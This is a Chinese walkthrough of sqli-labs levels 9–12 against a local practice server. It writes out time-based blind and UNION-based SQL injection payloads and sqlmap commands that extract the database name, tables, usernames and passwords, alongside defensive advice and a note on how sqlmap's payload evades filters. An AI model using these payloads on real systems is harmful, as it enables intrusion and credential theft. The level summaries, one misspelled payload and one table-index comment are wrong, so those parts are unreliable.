SQL-labs less9-12 闯关记录

|-------------|----------------|------------------------|
| Less-9 | 时间盲注 | 利用数据库延时特性进行注入 |
| Less-10 | GET和POST注入 | 综合运用GET和POST方法进行注入 |

Less-9

POST-based Blind Injection

通过HTTP POST请求而不是GET参数执行盲注。

Less-10

Multi-threaded Script Injection

使用多线程脚本自动化盲注过程,以提高效率。

Less-11

Double Quote Injection

类似于单引号注入,但使用双引号作为字符串分隔符。

Less-12

Numeric Injection

专注于被解释为数字而非字符串的数值输入。

SQL 时间盲注的使用场景和判断方式

使用场景

时间盲注(Time-Based Blind SQL Injection)主要用于以下情况:

  1. 页面无显式回显
    当应用程序的页面或响应中不直接返回查询结果 ,且无法通过布尔盲注(True/False差异)判断注入结果时(例如无论输入是否正确,页面内容或HTTP状态码均无变化)。
  2. 无报错信息反馈
    应用程序屏蔽了SQL报错信息(如关闭了数据库错误回显),无法通过报错注入(Error-Based)获取数据。
  3. 需要绕过常规防御
    当其他注入方式(如联合查询、布尔盲注)被过滤或拦截时,时间盲注可能成为绕过手段。

判断方式

通过向数据库注入条件性延迟语句,观察页面响应时间是否显著增加,从而判断注入是否成功:

  1. 基础延迟测试
    注入一个恒真条件并触发延迟,观察响应时间:
    ' AND SLEEP(5)--
    • 若页面响应时间增加约5秒,说明存在时间盲注漏洞。
    • 不同数据库的延迟函数:
      • MySQL: SLEEP(5), BENCHMARK(1000000, MD5('test'))
      • PostgreSQL: pg_sleep(5)
      • SQL Server: WAITFOR DELAY '0:0:5'
  2. 条件性延迟测试
    结合条件语句,验证特定信息(如数据库名首字母):
    ' AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--
    • 若页面延迟5秒,则说明当前数据库名的第一个字母是 a。
  3. 逐步推断数据
    通过二分法或逐字符遍历,利用延迟判断每个字符的值:
    ' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 100, SLEEP(3), 0)--
    • 若响应延迟3秒,说明密码首字符的ASCII码大于100。

防御建议

  1. 参数化查询(预编译语句)
    使用 PreparedStatement 或ORM框架,避免SQL拼接。
  2. 输入过滤与白名单
    对用户输入严格校验(如类型、长度、格式),过滤特殊字符(', ", ;, --)。
  3. 最小化数据库权限
    应用程序使用的数据库账户应仅拥有必要权限(如禁用SLEEP、EXEC等危险函数)。
  4. Web应用防火墙(WAF)
    部署规则拦截包含 SLEEP、WAITFOR 等关键词的请求。

工具辅助

  • sqlmap :自动化检测和利用时间盲注,示例命令:
    sqlmap -u "http://example.com/page?id=1" --technique=T --time-sec=5
    • --technique=T 指定时间盲注,--time-sec=5 设置延迟阈值。

http://127.0.0.1/sqli-labs/less-9/

1,第一个特征,无论 id=1/1'/1"/1 #/1' #/1" #页面都无回显,不报错

2,那就判断是否具有sql盲注的条件。注入一个恒真条件并触发延迟,观察响应时间:

id=1' AND SLEEP(5)--+ -- 若页面延迟5秒,则为单引号闭合

id=1" AND SLEEP(5)--+ -- 若为双引号闭合

观察到第一个攻击语句延迟了五秒,判断闭合方式为单引号

3,构造恒真条件触发延迟:

id=1' AND IF(1=1, SLEEP(5), 0)--+

  • 预期结果:页面响应时间显著增加(约5秒),确认存在时间盲注漏洞

4,通过sql盲注获取当前数据库名长度

?id=1' AND IF(LENGTH(DATABASE())=8,SLEEP(5),0)--+

当猜测数据库名长度为8时,响应时间达到5s,说明数据库名长8个ACSII码

5 ,逐字符猜解数据库名

id=1' AND IF(

ASCII(SUBSTRING(DATABASE(),1,1))=115, -- 猜测第1个字符ASCII码为115(对应字母's')

SLEEP(5),

0

)--+

若延迟5秒,说明数据库名第一个字符为s

最后爆出来数据库名为 security

6,再提取第一个表名

id=1' AND IF(

ASCII(SUBSTRING(

(SELECT table_name FROM information_schema.tables

WHERE table_schema=DATABASE() LIMIT 1,1), -- 第1个表(emails)

1,1

))=101, -- 'e'的ASCII码

SLEEP(5),

0

)--+

  • 若延迟5秒,说明第一个表名的首字母为 e(如 emails)。

7,提取 users 表中第一个用户的密码:

id=1' AND IF(

ASCII(SUBSTRING(

(SELECT password FROM users LIMIT 0,1), -- 第一行数据的密码

1,1

))=68, -- 'D'的ASCII码

SLEEP(5),

0

)--+

  • 若延迟5秒,说明密码首字符为 D。

第二种方法 sqlmap 自动化注入

1,爆出数据库

sqlmap -u "http://192.168.1.101/sqli-labs/less-9/?id=1" --technique T --dbs

2,爆出secruity数据库下数据表

sqlmap -u "http://192.168.1.101/sqli-labs/less-9/?id=1" --technique T -D security --tables

3,爆出users数据表的字段

sqlmap -u "http://192.168.1.101/sqli-labs/less-9/?id=1" --technique T -D security -T users --columns

4,爆出账户密码

sqlmap -u "http://192.168.1.101/sqli-labs/less-9/?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch

分析 sqlmap 注入的提示信息

1. 漏洞基本信息

  • 参数位置:id(通过GET请求传递)。
  • 漏洞类型:基于时间盲注(Time-Based Blind SQL Injection)。
  • 数据库类型:MySQL(版本 >= 5.0.12,支持 SLEEP 函数)。

2. Payload 解析

注入语句为:

id=1' AND (SELECT 1755 FROM (SELECT(SLEEP(5)))KUWo) AND 'BErv'='BErv

关键结构分解

  1. 闭合单引号
    id=1' 用于闭合原始查询中的单引号(假设原始查询为 WHERE id='$id')。
  2. 触发延迟的核心逻辑
    (SELECT 1755 FROM (SELECT(SLEEP(5)))KUWo)
    • 内部子查询 :SELECT(SLEEP(5))
      执行 SLEEP(5) 函数,强制数据库等待5秒。
    • 外层包装 :SELECT 1755 FROM (...) KUWo
      • KUWo 是子查询的别名(MySQL要求子查询必须命名)。
      • SELECT 1755 是一个无意义的数值,仅用于构造合法语法。
  3. 维持语法完整性
    AND 'BErv'='BErv
    • 闭合末尾的单引号(原始查询可能为 ...'$id')。
    • 'BErv'='BErv 是恒真条件,确保整个语句逻辑正确。

3. 漏洞利用原理

  • 延迟触发
    若目标存在漏洞,数据库会执行 SLEEP(5),导致HTTP响应时间显著增加(约5秒)。
  • 绕过防御
    • 使用数字 1755 和随机别名 KUWo 避免触发简单关键词过滤(如 SLEEP 直接出现可能被拦截)。
    • 通过嵌套子查询构造合法语法,规避某些WAF规则。

4. 漏洞验证逻辑

  1. 正常请求
    id=1 的响应时间为 T 毫秒。
  2. 注入恶意Payload
    若响应时间变为 T + 5000 毫秒(即增加5秒),则确认漏洞存在。

http://127.0.0.1/sqli-labs/less-10/

第十关 基于GET双引号基于时间盲注

存在注入点判断

和第九关类似,只不过需要用双引号闭合

?id=1"and if(1=1,sleep(5),0)--+

判断数据库长度,8是变量

?id=1"AND IF(LENGTH(DATABASE())=8,SLEEP(5),0)--+

判断数据库第一个字母是否为s

?id=1"AND IF(ascii(substring(databse(),1,1))=115,sleep(5),0)--+

判断secruity数据库的第一个数据表的字母是否为e

id=1"AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),1,1))=101,SLEEP(5),0)--+

判断users 表中第一个用户的密码的首字母是否为D

id=1"AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))=68,SLEEP(5),0)--+

语句整体结构

id=1" AND IF(

ASCII(SUBSTRING(

(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),

1,1

))=101,

SLEEP(5),

0

)--+

逐层解析

1. 闭合原始查询的引号

  • id=1"
    假设原始查询为:
    SELECT * FROM users WHERE id = "$id"
    • 通过输入 1" 闭合双引号,后续注入的代码将被拼接到SQL语句中。

2. 核心逻辑:条件触发延迟

AND IF(条件, SLEEP(5), 0)

  • IF函数
    若条件为真,执行 SLEEP(5)(触发5秒延迟);否则返回0(无延迟)。
  • 攻击目的
    通过页面响应时间判断条件是否成立(延迟=真,无延迟=假)。

3. 目标数据提取

ASCII(SUBSTRING(

(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),

1,1

))=101

子查询分解

  1. 查询当前数据库的表名
    SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()
    • information_schema.tables:MySQL系统表,存储所有表信息。
    • table_schema=DATABASE():限定当前数据库。
    • 结果示例:返回表名列表(如 users, emails, uagents 等)。
  2. 提取第二个表名
    LIMIT 1,1
    • LIMIT 1,1 表示跳过第1行,取1行(即获取第2个表名)。
    • 假设结果:第1个表为 emails,第2个表为 users。
  3. 截取表名的第一个字符
    SUBSTRING(..., 1,1)
    • 从表名的第1个字符开始,截取1个字符。
    • 示例:若表名为 users,则截取字符 u(ASCII码为117)。
  4. 转换为ASCII码
    ASCII(...) = 101
    • 将字符转换为ASCII码值,判断是否为101(对应字母 e)。
    • 逻辑验证
      • 若当前数据库的第2个表名首字母为 e(如 emails),则条件为真,触发延迟。
      • 若首字母不是 e,则无延迟。

4. 注释符与闭合

--+

  • --+ 是注释符,将后续原始查询的剩余代码(如闭合的引号)注释掉,避免语法错误。
  • 等效于 -- (空格),+ 在URL编码中表示空格。

攻击流程模拟

  1. 闭合引号
    构造 id=1" 闭合原始查询,使后续注入代码成为有效SQL语句。
  2. 条件测试
    • 若数据库的第2个表名首字母为 e,触发5秒延迟。
    • 观察页面响应时间:
      • 延迟5秒 → 首字母为 e(如 emails)。
      • 无延迟 → 继续测试其他ASCII值(如102= f,100= d 等)。
  3. 逐字符遍历
    重复修改 SUBSTRING 的起始位置(如 SUBSTRING(...,2,1))和ASCII值,直至完整表名被提取。

http://127.0.0.1/sqli-labs/less-11/

基于错误的POST单引号字符型注入

1,观察页面

挂上代理使用burpsuite抓个请求包试试,是POST型sql注入

admin'

双引号不回显不报错

单引号+注释符正常回显说明是闭合类型是单引号

2,然后order by注释符爆出数据表存在多少列

正常回显

uname=admin' order by 2 #&passwd=1&submit=Submit

发生爆错,说明数据表至少有两列,不大于三列那么就是两列

uname=admin' order by 3 #&passwd=1&submit=Submit

3,使用union select操作符判断sql注入漏洞的回显位置

uname=-1' union select 1,2 #&passwd=1&submit=Submit

由此判断回显点存在于select查询出来的1,2列。然后再查询数据库名和版本

-1' union select database(),version() #

然后查询secruity数据库下所有的数据表

-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #

得到的数据表有:emails,referers,uagents,users,然后再查询数据表下有什么字段

-1' union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name="users"#

得到users表下的字段有id,username,password。最后再爆出该数据表下的用户名和密码

-1' union select group_concat(username),group_concat(password) from users

http://127.0.0.1/sqli-labs/less-12/

基于错误的POST双引号字符型注入

admin" order by 2 #

admin" order by 3 #

-1" union select 1,2 #

-1" union select database(),version() #

-1" union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #

-1" union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name="users"#

-1" union select group_concat(username),group_concat(password) from users

相关推荐
it技术分享just_free2 小时前
软考教材重点内容 信息安全工程师 第18章 网络安全测评技术与标准
web安全·网络安全·信息安全·软考
jay丿2 小时前
django数据查询
数据库·django·sqlite
大白的编程日记.2 小时前
【Linux学习笔记】Linux基本指令及其发展史分析
linux·笔记·学习
web130933203982 小时前
Ubuntu 系统下安装 Nginx
数据库·nginx·ubuntu
猫头鹰~2 小时前
Ubuntu20.04安装Redis
java·数据库·redis
飞3003 小时前
字节跳动系统攻防算法岗-Flow安全内推
安全·业界资讯
Ftrans3 小时前
【分享】网间数据摆渡系统,如何打破传输瓶颈,实现安全流转?
运维·服务器·网络·安全
索然无味io3 小时前
Python--内置模块和开发规范(上)
开发语言·windows·笔记·python·web安全·网络安全
engchina3 小时前
使用Docker搭建Oracle Database 23ai Free并扩展MAX_STRING_SIZE的完整指南
数据库·docker·oracle